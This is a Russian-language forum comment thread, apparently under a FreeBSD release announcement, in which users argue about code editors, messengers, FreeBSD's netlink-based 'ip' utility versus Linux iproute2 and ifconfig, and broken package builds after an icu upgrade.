> Современные возможности. Вот кидают тебе файл в чатик и все участники могут его
> быстро и удобно посмотреть в любое время.

Пусть они такие современные гденить в другом месте вебмакачат, подальше от меня. У меня другие понятия об удобстве. Например, я предпочитаю когда информация и ее представление декоррелированы, так что я могу выбрать удобное вот именно мне представление. Чего поделки на электроне не обеспечивают, начиная с полного игнора системной темы. Да, это не современно по их вебмакачьим взглядам, так что я по их мнению "должен" наслаждаться тормозным, лагучим пестрым некастомизируемым барахлом где какие-то корпы лучше меня знают как мне удобно. У меня ессно сильно иные идеи на этот счет ("не является комфортным мне рабочим окружением").

Ну и лично мне Geany хватило чтобы навернуть достаточно кода для того чтобы упереться в архитектурно-проектные дела а не кодинг. Вот именно кода я могу на 1 дыхании выдать на гора очень даже. Весьма нетривиального, я накодил некоторые вещи о которых я даже не думал что я так вообще могу, цуко. И на данный момент моя основная проблема сейчас скорее в продумывании удачных интерфейсов, абстракций, архитектур и проч. Для меня bottleneck-ом стало вот это. Тем более что промашка в вот этом аспекте обрекает на пределку дохрена всего, чуть не с ноля, если изначальный план круто изменился. Не вижу как ваши супер-туслы помогут мне в этом.

И да я не настаиваю что Geany для всех. Мне он просто приколен тем что вроде еще не такой монстр как IDE но тем не менее, почти все фичи уже на месте и на сях или плюсах там можно доволно мощно оттянуться. Впрочем я там и странные скрипты на неведомых языках редактил с достаточно непоганой эффективностью - и там достаточно одупляемо как colorizer затвикать и проч.

Это ты сейчас так думаешь. Не страдай хернёй, пиши код, код сам себя не напишет. Со временем ты просто будешь видеть, что станет ботлнеком, но без опыта серьёзной разработки собственных проектов с нуля ты страдаешь хернёй. Бывают задачи, которые требуют создания продуманной архитектуры для эффективного решения. Но, намного чаще это имеет значение только для очень крупных проектов с кучей сторонних завязанных пользователей. И в любом случае, планировать и пытаться предвидеть будущее намного сложнее, чем писать код. И скучнее. Пиши код. А Geany лучше сразу выкинуть, стоит освоить vim и плагины для него всё же. Или хотя бы Kate взять, если уж не kdevelop. Тот же VSCode не IDE, а блокнот на стероидах, просто это мейнстрим и все современные вещи вроде линтеров в него интегрированы, что очень упрощает жизнь и повышает качество кода.

> Это ты сейчас так думаешь.

Я так думаю уже... достаточно давно. И врядли это изменится.

> Не страдай хернёй, пиши код, код сам себя не напишет.

Этого недостаточно. Чтобы становиться мощнее, надо эволюционировать одновременно с этим самому. Понимать абстракции, проблематику, почему те или иные вещи делают так или эдак, и постепенно - в лучшем случае - начнет появляться понимание менеджерских решений, решений архитектов и проч. А если повезет то и самому можно начать уметь это в том или ином объеме. Это эволюция от кодера до чего-то более мощного (архитект, PM, некий гибрид, или что там, но мощнее просто кодера). Я пока отэволюционировал до какого-то универсального фулстэка с уклоном в программно-аппаратные штуки и кастом. При этом приходится уметь какие-то азы архитектинга и управления проектом, куда я денусь с подводной лодки: хороший архитект или PM стоят очень дорого и на этом глобусе в жутком дефиците.

> Со временем ты просто будешь видеть, что станет ботлнеком, но без опыта серьёзной
> разработки собственных проектов с нуля ты страдаешь хернёй.

Я так то в энтерпрайзном R&D поболее твоего отпахал. Просто иногда наступает момент когда хочется быть не винтиком машины а самому что-то из себя представлять. Этот момент наступает не всегда и не у всех, это да.

> Бывают задачи, которые требуют создания продуманной архитектуры для
> эффективного решения. Но, намного чаще это имеет значение только для очень
> крупных проектов с кучей сторонних завязанных пользователей.

На самом деле это от характера проекта зависит. Если это одноразовый скрипт для одноразовой работы, там наплевать на все, если за разумное время отпашет. Но даже там можно выкусить когда неудачная архитектура будет пахать месяц, а более удачная за полдня справится. В этом случае потратить неделю на переписывание в целом может быть нехилый апгрейд. Ну вон как ESR гит портировал, дошел до плача что питону 64 гиг мало. Спонсировать ему более жирный комп никто не стал и тот как-то переписал свой креатив, и на игогошке к тому же. Наверное и архитектуру подрихтовал, когда по второму разу кодишь надо быть совсем бакланом чтобы ничему не научиться с первого раза.

А каким-то более осмысленным вещам типа "core" и "либ" на которых потом базироваться удобно и стартовать не с ноля а с какой-то "болванки проекта" которая уже часть проблематики рюхает и надо в основном адаптацию - там без архитектуры все же тяжко, самому же и становится хреново если архитектура пакость. Например реюз кода начинает хромать. А кодить заново когда можно скопипастить... а я ленивый и мое время ценю :)

> И в любом случае, планировать и пытаться предвидеть будущее намного сложнее,
> чем писать код.

Это несомненно сложнее. Но у меня вроде начало более-менее получаться. И правы были PM в том плане что сказали мне что чтобы это пришло, надо самому уметь махать шашкой. На уровне матерого синора, не меньше.

> И скучнее.

О нет. Это как раз самая интеерсная часть. Написание кода

> Пиши код. А Geany лучше сразу выкинуть, стоит освоить vim
> и плагины для него всё же. Или хотя бы Kate взять,

Да я его юзал когда-то. В принципе не такая уж плохая штука. Kdevelop еще лучше, просто кдешные штуки тянут много либ, и не сильно шустрые. Подбешивает. Geany в целом пришелся по руке, для сей, плюсов а эпизодически и чего иного хватает вроде. Не самый плохой баланс между IDE и "продвинутым редактором". С плагинами и прочим больше легкий IDE напоминает.

> если уж не kdevelop. Тот же VSCode не IDE, а блокнот на стероидах,

Да я в курсе. И забавная штука о Geany что он в принципе тоже на границе миров. Только в отличие от не требует всяких питонов и электронов и не тормозит особо.

> просто это мейнстрим и все современные вещи вроде линтеров в него интегрированы,
> что очень упрощает жизнь и повышает качество кода.

Мое качество кода имхо может дать фору много кому. Я подсел на "antibug coding" и прочитал несколько весьма разумных гайдлайнов. А заодно - в вот той самой либере початился от души с тематическим народом. Вот это да, повышает качество кода... я получил немало ценных идей как сделать так чтобы баги в коде не появлялись еще на подлете, на фазе дизайна, на фазе апи, на фазе самого начала имплементации... довольно часто я с нехилым скепсисом смотрю как навороченный код начинает работать с первого раза. Это довольно странное ощущение. Но так бывает. Если это делать с умом. Конечно это врядли будет финальной версией. Но если нечто навернутое и нетривиальное с первой попытки в целом работает как надо - окей, я потратил время на архитектуру и антибаг не зря, скостив себе чертову кучу дурной рутины потом.

> Есть IRC, а есть Discord, решают они примерно одинаковые задачи.

примерно, да. В одном общаются совершенно безумные шестидесятилетние фрики, в другом геймеры.

отдельно приятно что оба не умеют в шифрование.

А бизнес сидит в скайпе (по инерции) и в ватсапе. Вот понадобилось мне сегодня авиабилет поменять - как думаешь, авиакомпания в дискорде сидит? Или может в irc им написать?

шлак и тимс это именно для содомитов - в смысле для тесного кружка общающихся, в них многие модные-молодежные держат всякие командные внутренние чятики и тому подобное. Но клиентов опять же видят через всосап и скайп.

> Да и на морду плевать, главное ведь функциональность.

бизнесу не нужны стикерпаки и миллиард смайликов. А вот нетормозящий софт ему таки бы пригодился - но маемо шо маемо. Функциональности в том же скайпе как бы не убавилось с тех пор когда его интерфейс не жрал гигабайт.

Только в irc двачеры, битерды, анимешники, любители вареза. И в дискорде вообще все, включая фетишистов всех мастей и просто клубов по интересам, а так же каналы общения с миллионами наверно авторов контента (иногда без них самих), игры дело десятое и не обязательное. Шифрование? Скажи спасибо, что айпи можно не палить собеседнику. А для шифрования есть впн где-нибудь в Ираке и рандомном Судане и только так. Восап ты используешь просто потому что у него 4 млрд пользователей сегодня или сколько там. Раньше аська могла использоваться для чатика с клиентами, тоже было такое.

> где-нибудь в Ираке и рандомном Судане и только так. Восап ты
> используешь просто потому что у него 4 млрд пользователей сегодня или

так ПОЧЕМУ у него - 4 миллиарда а вы сосете х-й с вашими фрик-сетями?

> сколько там. Раньше аська могла использоваться для чатика с клиентами, тоже
> было такое.

тоже было. И не только с клиентами, с престарелыми родителями на другом конце глобуса тоже.
И сдохла когда появились технически превосходящие ее...скайп и всосап.

Потому что поговорить с теми родителями все же удобнее и приятнее чем перекидываться однострочными фразами.

Он кстати примерно то же самое что и жаббер внутри. Ну, получилось вот так. Агрессивный маркетинг в очередной раз зарешал, а там и корпы подтянулись. Время удачное для такой технологии доступной хомячью на мобилках опять же. Про техническое превосходство тут я даже не знаю. Скайп просто вроде первый популярный из войс-видео звонилок был, на том и обрёл популярность. Но быстро устарел и сдох, да и ограничения не слишком приятные.

> Он кстати примерно то же самое что и жаббер внутри.

только один нюанс - он - работает, а не полтора миллиона несовместимых xep-ней и сервер ложащийся под сотней клиентов. Даром вот что электрон.

Ну и полагаю программисты этого все прокляли когда их заставили писать бинарную замену xml в режиме "и не сметь при этом ничего менять!" - но они пахали за деньги, поэтому - написали.

> Скайп просто вроде первый популярный из войс-видео звонилок был, на том и обрёл популярность.

за четыре года работы в конторе где мы его использовали для внутренних коммуникаций - я ровно ноль раз получал голосовой звонок. Обычный групповой чятик там был.
Ну еще до всосапа было популярно для трансатлантических звонков любимой бабушке - вот тут видео уже конечно пригодилось.
Просто, опять же, во-первых работает, во-вторых у всех есть.

Но изначальная идея монетизации выходом в PSTN оказалась неудачной, а других у ms не появилось.

> Только в irc двачеры, битерды, анимешники, любители вареза.

Вот только отвиснув с 50К кодеров во фриноде коллективный разум нехило прокачал меня в интересовавших меня топиках, так что я теперь в ряде аспектов, пожалуй, смогу показать мастеркласс энным господам. Это сделало меня мощнее и эффективнее, весьма ощутимо.

> И в дискорде вообще все, включая фетишистов всех мастей и просто клубов по интересам,

А вот эти чему научат? Как про...ть время на х...ю? Ну вот право, ну его этих фетищистов в дискорде.

> а так же каналы общения с миллионами наверно авторов контента (иногда без
> них самих), игры дело десятое и не обязательное. Шифрование? Скажи спасибо,
> что айпи можно не палить собеседнику. А для шифрования есть впн
> где-нибудь в Ираке и рандомном Судане и только так.

Есть еще такая мелочь как энтерпрайзная аналитика. Вон тот AI тебя будет узнавать всегда и везде, о ничтожная корова с GPS ошейником. А мне что-то впадлу такой коровой быть.

> Восап ты используешь просто потому что у него 4 млрд пользователей сегодня или
> сколько там. Раньше аська могла использоваться для чатика с клиентами, тоже
> было такое.

Зачем мне 4 млрд пользователей? Мой danbar number и так подвергается дикому стрессу, явно зашкаливая за 200 и это основательно грузит мозг.

Ну, как минимум на 1\6 части суши это не так. Из клиентов на s4b разве что ГПН и Сибур упомнить могу, через whatsup... "бизнеса" вообще не видел. Частная инициативка отдельных работников - но там "частной" и viber и телега и черт в ступе может оказаться. Slack - это да. Стильно-модно-молодежные, а вот teams у клиентов _все еще_ есть. Ну и импортозамещенной рассыпухи с горкой - труконф, джаз, салют, битрикс, мать его ети...

> ну он там живет похоже в своей крошечной нишке с полутора заказчиками
> и на свет из нее не показывается. Уминявсеработайка, лапочка.

Человек может произвести в единицу времени ограниченный объем работ, поэтому на мой век работ на этой планете явно хватит. У меня так то еще и приличный бэклог проектов которые хочется попробовать но врмени не хватило. И каждый подразумевает либо апгрейд скилов либо создание какой-то интересной технологии, которую в перспективе удастся прикрутить к чему-то еще, расширив свою палитру возможностей.

> (боюсь только представить как у него выглядит документация)

Да на самом деле - не так уж плохо вроде. Бывает и сильно хуже. Вон у кетайсов чюдный пдф на чипик - но только на кетайском. А жаль, 32-битный RISCV за 30 центов так то стебный артефакт, но вот по такой доке его пилотировать... эээ... китайских летчиков тебе в проект короче.

> Правда, про качественное и удобное это ты сп-дел. Электрон для того и
> придуман чтоб забить болт на качество и удобство в сторону тяпляперства.

Он для того чтобы быренько налабать подобие проги и скорей-быстрей пиарить это. Вот только то что какой-то цаный корп себе сэкономил на кодерах не транслируется в достоинства для меня. Скорее в недостатки, в виде багов, глюков, лагов, нежелательного поведения и свойств, дикого жрача ресурс и проч. Зачем мне такой софт у меня в системах? Чтобы вон тот корп мог меня на ... вертеть лишний раз? А вот этого удовольствия я им не доставлю, я уже тертый калач и заметил что есть варианты и без этого счастья :)

> Достаточно сравнить морду доэлектронного скайпа с тем убожеством которое сейчас.

Достаточно того что старый скайп работал без конфигурации почти везде где есть какой-то отдаленный намек на конективити. Ну а вебскайп в этом плане ни о чем. И продули майки свое ключевое достоинство. Теперь у всяких опенсорсников в этой роли токс хорошо заходит, он не такой крутой но азы этой магии умеет. Чем и крут. Хорошо когда чатик находит дорожку сам, без конфигурации, а локально он работает даже без интернета.

> Но общаться с клиентами и коллегами ты будешь по скайпу и всосапу,
> а не просить их напесать тебе в irc'шечку на модном в
> 90м году tkirc.

Клиенты тоже разные бывают, в том числе и из более дружественных сословий. И так то можно народ и в почту послать, сообщив что никаких скайпов и восапов у меня нет. Если так посмотреть то многие проекты намного эффективнее в именно текстовых чатах и почте взаимодействуют. Прикинь, Торвальдс целый линукс пишет через емыл. А если вон того чудика обложить хоть там каким софтом, он ничего и близко сравнимого не сделает. С хоть там какими технологиями.

И да, ты же понимаешь что я не вписываюсь в совсем тривиальные случаи которые любая макака с ардуиной может? Это как раз им и стоит отдать. И если кастомер меня пошлет, вопрос еще кому хуже. Потому что вон та макака с ардуиной например реверс и потом эмуляцию какого-то странного протокола может и не суметь, например. Не их уровень - готовой либы же нету, и serial.begin нипалучица.

Там пакетные менеджеры все еще лазят голой рутовой жопой в интернет и разархивируют пакеты под рутом?

>Там пакетные менеджеры все еще лазят голой рутовой жопой в интернет и разархивируют пакеты под рутом?

Всем пофигу куда и какой жопой оно лезет в инет если пакеты собираются в jail при помощи poudriere.

pkg тоже собирает пакеты пуд..подр..пилять!

yep, f*cking french!

>pkg тоже собирает пакеты пуд..подр..пилять!

Вам к логопеду, сцударь.

pkg может работать и под юзером и ставит пакеты в профиль пользователя, см как устроен wine: его х32 часть ставится отдельно в хомяк, вместе со всеми зависимостями и от туда работает.

кто разбирается, зачем во Фряхе захотели такое?

> позволяет использовать во FreeBSD Linux-утилиту ip из пакета iproute2 для управления сетевыми интерфейсами, установки IP-адресов, настройки маршрутизации и манипуляции объектами nexthop, хранящими данные о состоянии, используемом для передачи пакета в желаемую точку назначения.

видимо миллионы макак со скриптами дергающими ip (включая тот же вайргад поди)

> видимо миллионы макак со скриптами дергающими ip (включая тот же вайргад поди)

Оставим миллионы за скобками, но тогда же начнётся разброд и шатание между ifconfig && ip , стройность нарушится и вообще кака из линукса

Про стройность вот интересно. Через "ip" можно настроить по сути практически все. Предполагается что со временем даже "wg" перестанет существовать и вместо этого станет субкомандой "ip". Вот это я понимаю, стройность. А у вас в ваших парадигмах это все можно вообще? Хотя-бы чисто теоретически? Вайргаду как интерфейсу надо некоторые сильно отдельные знания не типичные для обычных сетевок, например ключи.

> в ваших парадигмах это все можно вообще? Хотя-бы чисто теоретически? Вайргаду
> как интерфейсу надо некоторые сильно отдельные знания не типичные для обычных
> сетевок, например ключи.

-link0 -link1 -link2

если не хватило - ну опаньки.

> -link0 -link1 -link2
> если не хватило - ну опаньки.

Фига интуитивно. Что такое link0? Что такое "ip route" я могу по названию догадаться, как и утил, который покажет адресный хелп. И вообще синтакс логичный и продуманый. Я только 1 минус знаю: типовое ifconfig a.b.c.d up все ж короче. На этом минусы ip вроде и заканчиваются, начинаются плюсы.

> Фига интуитивно. Что такое link0?

параметр ifconfig. Специфический для конкретного драйвера - поэтому идем читать не man ifconfig а man драйвер

Что ничуть не менее интуитивно чем ip li ad wg0 type wireguard (где тут хоть что-то про ip?) но потом внезапно wg set (как раз ip-параметры)

Но их только три (и три ioctl соответственно). Ну и есть еще некоторые менее специфичные, часть наверное можно как-то переопределить специально для wg. В целом оба варианта не блещут интуитивностью.

> параметр ifconfig. Специфический для конкретного драйвера - поэтому идем читать не man
> ifconfig а man драйвер

Дизайн, что называется, "с лопаты". Прикольно когда его адепты про стройность вещают.

> Что ничуть не менее интуитивно чем ip li ad wg0 type wireguard

Ну та как бы сократил тут кучу всего. Это уже для тех кто опытный, чтоб пальцы не ломать. Грю же у ip есть минус - довольно длинные команды.

> Но их только три (и три ioctl соответственно). Ну и есть еще
> некоторые менее специфичные, часть наверное можно как-то переопределить специально для
> wg. В целом оба варианта не блещут интуитивностью.

Да как сказать? В "ip" параметры хотя-бы могут иметь уникальное имя описывающее в лучшем случае что это за фигня. Это в целом вроде логичнее и удобнее смотрится.

Why is Netlink important for FreeBSD?
POSIX defines an API for base functions/system calls. There is no such standard for the plethora of protocol/device-level/subsystem-level ioctls. Each subsystem/driver invents its own protocol, handling format and compatibility. Extendability is a notable problem in the networking control plane. For example, it is extremely hard to add properties to the routing socket messages without breaking compatibility.

Netlink offers unification by providing a standard communication layer and basic easily-extendable message formatting. It can serve as a "broker", automatically combining requested data from different sources in a single request (example: interface state dump). Netlink APIs lower the bar for application developers to support FreeBSD, while providing the desired extendability.

> Why is Netlink important for FreeBSD?
> POSIX defines an API for base functions/system calls. There is no such
> standard for the plethora of protocol/device-level/subsystem-level ioctls. Each subsystem/driver
> invents its own protocol, handling format and compatibility. Extendability is a
> notable problem in the networking control plane. For example, it is
> extremely hard to add properties to the routing socket messages without
> breaking compatibility.
> Netlink offers ..

Зачем netlink как протокол тут понятно, вопрос был про утилиту ip, откуда на фряхе iproute2 вообще

Iproute2 там нет. Netlink прицеплен через netgraph к стандартному FreeBSD IP стеку. Утилита просто пустая оболочка.

Проблема в том что диалектов нетлинка в линуксе так то более 1 и вообще,
1) Есть ioctl.
2) Есть нетлинк.
3) Есть всякие udev и их обвес эвентами.
4) Есть иные механизмы kernel <-> user.

На самом деле стоило бы сделать message bus - с нормальным дискавери сервисов и pubsub и пусть кернел ОС там вещает. И вот это уже сдирать другим. Но увы, не срослось.

Диалект Netlink один, разновидностей доступа к нему несколько. Интерфейсов доступа. Все что ты описал это способы доступа, а не диалекты.

Скорее всего из за линуксятора, и его юзерспейсной части.

Хм, т.е. софт который пользуется линуксятором допущен к настройке роутинга?  Хотя конечно может оно просто так пытается ip address системы определять, т.е. на чтение а не на запись..

Утилита это надстройка над Netgraph и стандартным FreeBSD IP стеком.

Нетграф только через ngctl рулится либо напрямую сообщения слать нодам через сокет.

А почему нет?
Нет дискриминации прав софта на основе его происхождения, есть только ограничения на базе прав пользователя и прочих специфичных механизмов контроля.

В чем тогда самобытность? Называться сразу ещё одним дистрибутивом линукса да и всё, заодно вайфай заработает

Так вон тут советы раздают как зацепить линукс в виртуалочке для этого.

так победят

> Хм, т.е. софт который пользуется линуксятором допущен к настройке роутинга?  Хотя конечно может оно просто так пытается ip address системы определять, т.е. на чтение а не на запись..

с учетом, что jail недавно обзавелся собственным сетевым стеком, отдельным от хоста, это вполне логично. я вот маршрутизатор в jail держу.

Linuxulator и много софта из Linux стана. 1С наконец-то через Linuxulator заработает в Jail без виртуалки.

Как технологическое достижения должно быть прикольно, конечно. В  реальности доводилось встречать внедренцев 1с требующих именно фразу и джейлы?

> Как технологическое достижения должно быть прикольно, конечно. В  реальности доводилось
> встречать внедренцев 1с требующих именно фразу и джейлы?

А внедренцы то тут причем? Внедренцам, по факту, только Windows подавай.

> Внедренцам, по факту, только Windows подавай.

1C сто лет как под линукс есть, по просьбам внедренцев видимо.

Вот тоже интересно. Вполне себе стройный, понятно организованный и работающий ifconifg... был. ip же в linux'е... ну в общем еще одно доказательство того, что линуксоЙды не умеют в cli-интерфейсы.

> Вот тоже интересно. Вполне себе стройный, понятно организованный и работающий ifconifg

пока не ознакомишься с ключами link0 (1, 2)
ни логики, ни смысла, и хрен ты угадаешь что это без лазания в маны на каждый интерфейс отдельно.

Линуксоиды как раз умеют - у них ip отвечает за ip и самые примитивные операции на уровне линка, включая и замену ненужному route и, о б-же, netstat -r (вот это особенно стройно и понятно - таблицу меняет одна утилита а посмотреть ее можно только в другой с перпендикулярным синтаксисом) а чемоданы настроек wifi и физических деталей адаптера вынесены туда где им место - в отдельные инструменты, поскольку чаще всего оба не используешь.
И управление траффиком - снова отдельно, потому что снова отдельная большая и сложная область где удобнее и разумнее иметь специальный инструмент.

И не миллиард на ходу придумывавшихся ioctl, под каждый чих новый городить, а вполне себе вменяемый и логичный сетевой протокол для управления этими настройками.

Ну да, ну да - не очень-то unix-like получилось - но надо же ж понимать что те юниксы писали когда компьютеры были большие и сети совершенно примитивные. Пока в ifconfig был только up и айпишник - оно было как-то адекватно.

Можно было пойти путем фряхи и раздуть ее до монстра куда запихано всьо (но маршрутизация почему-то отдельно), но вместо этого решили сохранить совместимость с доисторическим софтом (ifconfig и ioctl таки оставили) а для современного мира сделать отдельно и по-человечески.

По-моему, если откинуть синдром утенка, получилось лучше.

> По-моему, если откинуть синдром утенка, получилось лучше.

Да, пох, даже ты сегодня в ударе и дело говоришь. Если сравнивать пачку ioctl и нетлинк, нетлинк все же пожалуй лучше. На этот счет есть очень забавное рассуждение вот прямо в доке на wireguard (их пдфнике с сайта). Это том который про его дизайн и протокол разумеется, там расписано как это появилось и почему вот так.

Нене, про внутрянку я ни слова ни полслова, я именно про логику поведения.
Почему утилита конфигурирования интерфейса пытается охватить все аспекты управления _интерфейсом_ - и не пытается управлять маршрутами мне больмень понятно (route/netstat нет, тут правда фигня) - а вот почему утилита с именем ip из пакета iproute2 пытается рулить  тем, что очевидно ни к "ip" ни к "route" примерно никакого отношения не имеет - уже не очень. Или там почему ip tunnel add mode gre, но ip l2tp add tunnel не ясно.

> Или там почему ip tunnel add mode gre, но ip l2tp add tunnel не ясно.

совершенно ясно - tunnel это ip туннель, l2tp - pseudowire, там вообще может не быть ip или он не касается твоего хоста.

Но оба - поверх ip.

Эммм... ну ок, делаем мы границу по ip\не ip (Несколько странное желание с т.з. конфигурируемой сущности т.к. с т.з. пользователя и то и другое - туннель) - но почему один add tunnel а другой tunnel add? А если про pseudowire - тогда надо вспоминать еще и про ip link add ... type gretap\gre\ipip - и снова видим причудливую логику по которой управление одной сущностью "туннель" рассыпано по разным утилитам.  

потому что первая субкоманда - tunnel, а вторая - l2tp.
link add - это ip линки. У них общий синтаксис - в отличие от pw у которых совершенно другой набор параметров и синтаксис нужен отдельный.

Если пользователь неспособен понять разницу между ip туннелем и pw (между l3 и l2 если пользоваться ущербной терминологией osi) - ему не надо ничего настраивать, ему надо обратиться к сетевому админу.

Ну вот про это и говорю. "Иди отсюда мальчик - специально обученный человек лучше знает где какой костыль запихан и даже сможет объяснить, что ЭТОТ туннель можно настроить как туннель, тот - как туннель и как ЛИНК, вооот тот - только как линк, а на этот вообще отдельная утиль положена".

ну да. Мне вот не надо объяснять почему там туннель линк, а тут - l2tp. Тем кто это для себя в первую очередь придумывал - тоже не надо было.

А вот объяснить физический смысл -link2 - невозможно, нету его.

Причем если придется передавать больше параметров чем влезает в структуру в ioctl link2 - то только городить отдельный интерфейс с ядром, других вариантов нет.

Ну вот это и называется "неумение в cli", когда люди пишут интерфейсы "сами для себя" с понятным результатом.
Фря тут не идеальна, но в целом - и в данном конкретном случае тоже - прям СИЛЬНО лучше.

Я тут не копенгаген, но вот вроде вопрос, в догонку:
почему утилита ip отвечает за мак-адреса на интерфейсе? Или не отвечает? IP разве не уровнем выше? Какого ip вообще за интерфейсы отвечает, а не за internet protocol?

> Я тут не копенгаген, но вот вроде вопрос, в догонку:
> почему утилита ip отвечает за мак-адреса на интерфейсе?

потому что это виртуальная характеристика интерфейса, так же как и статус. И ее удобно иметь там же где остальные виртуальные характеристики, а не отдельно в непонятном месте.

> Или не отвечает? IP разве не уровнем выше?

в ip нет никаких уровней - это сбивающая с толку высосанная из пальца выдумка комитета ISO.

> Какого ip вообще за интерфейсы отвечает, а не за internet protocol?

такого что все настройки этого протокола у нас привязаны к интерфейсу.

"ip" в линуксе это такой grand central настроек интерфейсов и всего что с этим связано. Ему не важен тип интерфейса, он рулит чем угодно - от отсылки интерфейса в сетевой неймспейс и создания виртуальных линков для контейнера до установки мака или up/down линка.

И все это более-менее унифицировано для всех типов интерфейсов (насколко это возможно). Теоретически даже конфиг wireguard можно сделать как субкоманды "ip". Практически пока для этого отдельный wg но он может быть перенесен вот туда при желании.

Единственное исключение - это wifi пожалуй, где сильно специфичные для wifi аспекты рулит все же iw и другие утилиты (eg wpa_supplicant)

> Теоретически даже конфиг wireguard можно сделать как субкоманды "ip". Практически пока
> для этого отдельный wg но он может быть перенесен вот туда
> при желании.

это просто кого надо желание и его не проявили. Автор изначально-то именно так и хотел.

Но его-то и в ядро пустили со скрипом и заставив переписать верифицированные алгоритмы на кривую внутриядерную версию.

> Единственное исключение - это wifi пожалуй,

нет, любое место где надо работать со спецификой конкретного железа а не с виртуальным понятием link

ethtool, ib*, iw* и так далее. Они совершенно разные и их нет никакого смысла пихать в одну утилиту - обычно нужно только что-то одно (или ничего из)

Так же как и tc у нас отдельный - потому что это управление отдельной сложной подсистемой и тоже нужной не всем

> это просто кого надо желание и его не проявили. Автор изначально-то именно так и хотел.

На лично мой вкус это 50/50. Я ну уверен что там народ тоже определился на 100%.

С одной стороны, а где тот момнет когда пора угомониться? А то может и iw туда загнать? Он ключи шифрования интерфейсу сетапить тоже умеет, как и вайргад, а то что там еще сотня другая опций, да ладно, пусть кадавр кушает.

С другой отдельная утился "wg" имеет больше свободы и гибкости. Ну вон цветом подкрашивает, без параметров статискути своего типа ифейсов пишет. И стоит ли его в ip утрамбовать - вопрос интересный. При этом придется потерять часто удобства, кастома и фич.

> Но его-то и в ядро пустили со скрипом и заставив переписать верифицированные
> алгоритмы на кривую внутриядерную версию.

С другой стороны, кривой внутриядерной версии при этом тоже так то досталось от души, и там пошли нехилые рефакторы. Это как раз нормальная конвергенция, когда проблема решается с 2 сторон, а не так что 1 в позу встает и перепихивает всю проблему на других. А донфилду зашло и он еще и PRNG в более разумный вид привел, все такое. И вот вполне дельного в крипто субъекта припахали к core works, когда он смежные области улучшил. И для себя и для других. А не просто вывалил с лопаты и слинял.

> ethtool, ib*, iw* и так далее.

Ну хотя да, ты прав. В "ip" такое все же перебор было бы. И вот тут как раз вопрос, считать wg этим же самым или он скорее субкоманда ip? А черт бы его знает, технически всякие ключи и проч это уже специфика интерфейса wg, не хуже чем в iw каком.

> Они совершенно разные и их нет никакого смысла пихать в одну утилиту -

Чисто теоретически можно субкомандами сделать. Ну да с разными параметрами.

Т.е. ip iw ... <параметры iw>. Или ip wg <параметры wg>. Но он станет кадавром. С типа встроенными субкомандами вместо утилит. Надо ли оно - большой вопрос.

> обычно нужно только что-то одно (или ничего из)

Ну да.

> Так же как и tc у нас отдельный - потому что это
> управление отдельной сложной подсистемой и тоже нужной не всем

А так еще файрвол вон есть... :)

Чёрт. А как же без mergemaster'a жить?

https://docs.freebsd.org/en/books/handbook/cutting-edge/#mak...
выше упоминали etcupdate

>  LLVM/Сlang до версии 14.0.5

В stable/13 уже 15.0.7

В базовую систему завезли?

Обновлением icu-72.1 полдесктопа сломали. Всё перекомпилировать надо.

>Обновлением icu-72.1 полдесктопа сломали. Всё перекомпилировать надо.

Вот по этому и рекомендуют юзать poudriere или ему подобные для билда пакетов.

>>Обновлением icu-72.1 полдесктопа сломали. Всё перекомпилировать надо.
> Вот по этому и рекомендуют юзать poudriere или ему подобные для билда
> пакетов.

Chromium не собирается. Firefox перестал воспроизводить звук на видео. Как так-то?!

>Chromium не собирается. Firefox перестал воспроизводить звук на видео. Как так-то?!

Ну вот страдай. Была бы у тебя своя репа, тот же chromium не собрался бы и не поломал систему. А в случае неработающего звука в firefox - откатился бы на предыдущую версию безо всякого шаманства с portdowngrade и разруливания проблем с либами.

> Ну вот страдай. Была бы у тебя своя репа, тот же chromium не собрался бы и не поломал систему. А в случае неработающего звука в firefox - откатился бы на предыдущую версию безо всякого шаманства с portdowngrade и разруливания проблем с либами.

- свой репозиторий есть.
- откатился без всяких ненужных шаманств с помощью zfs rollback poolname/usr/local@good ; zfs rollback poolname/var/db/pkg@good.
- надо иметь jail для сборки новых версий пакетов (и их зависимостей), а не на живую обновляться.
- страдаю от того, что всё так рутинно.

Хромого уже починили.

Ничего не починили — для сборки пакетов сборки thunderbird и firefox требуется библиотека libicui18n.so.72 (от предыдущей версии icu). Так что опять — облом. И опять откат на предыдущий снапшот...

> Ничего не починили — для сборки пакетов сборки thunderbird и firefox требуется
> библиотека libicui18n.so.72 (от предыдущей версии icu). Так что опять — облом.
> И опять откат на предыдущий снапшот...

Не знаю что там у тебя за зависимости, но у меня репа сказала:

Installed packages to be UPGRADED:
    boost-libs: 1.81.0 -> 1.81.0_1
    chromium: 112.0.5615.49_1 -> 112.0.5615.49_2
    firefox: 112.0_1,2 -> 112.0.1,2
    google-cloud-sdk: 331.0.0 -> 426.0.0
    harfbuzz-icu: 7.1.0 -> 7.1.0_1
    hwdata: 0.368,1 -> 0.369,1
    icu: 72.1,1 -> 73.1,1
    imv: 4.3.1_3 -> 4.3.1_4
    libcdr01: 0.1.7_4 -> 0.1.7_5
    libe-book: 0.1.3_26 -> 0.1.3_27
    libfreehand: 0.1.2_24 -> 0.1.2_25
    libmspub01: 0.1.4_22 -> 0.1.4_23
    libpsl: 0.21.2_2 -> 0.21.2_3
    libqxp: 0.0.0_22 -> 0.0.0_23
    libreoffice: 7.5.2.2 -> 7.5.2.2_1
    libvisio01: 0.1.7_10 -> 0.1.7_11
    libxml2: 2.10.3_1 -> 2.10.3_2
    libzmf: 0.0.2_27 -> 0.0.2_28
    qt5-core: 5.15.8p157 -> 5.15.8p157_1
    qt5-gui: 5.15.8p157 -> 5.15.8p157_1
    qt6-base: 6.4.2_1 -> 6.4.2_2
    raptor2: 2.0.16 -> 2.0.16_1
    sdl2: 2.26.4 -> 2.26.5
    sqlite3: 3.41.0_1,1 -> 3.41.0_2,1
    vulkan-headers: 1.3.246 -> 1.3.247
    vulkan-loader: 1.3.246 -> 1.3.247

Installed packages to be REINSTALLED:
    dav1d-1.1.0_1 (option added: XXHASH)

И все работает.

> И все работает.

У меня всё ещё смешнее:

% pkg upgrade -r myrepo

The following 282 package(s) will be affected (of 0 checked):

Installed packages to be REMOVED:
    GraphicsMagick: 1.3.40,1
    R: 4.2.3
    R-cran-rstudioapi: 0.14
    RStudio: 2022.12.0+353
    accountsservice: 0.6.55_4
    adwaita-icon-theme: 40.1.1_1
    aisleriot: 3.22.25_1
    appstream-glib: 0.8.2_1
    aqualung: 1.0_22
    at-spi2-core: 2.46.0
    atkmm: 2.28.0_1
    atril-lite: 1.26.0_17
    boost-libs: 1.81.0
    botan2: 2.19.3_1
    bsdisks: 0.29
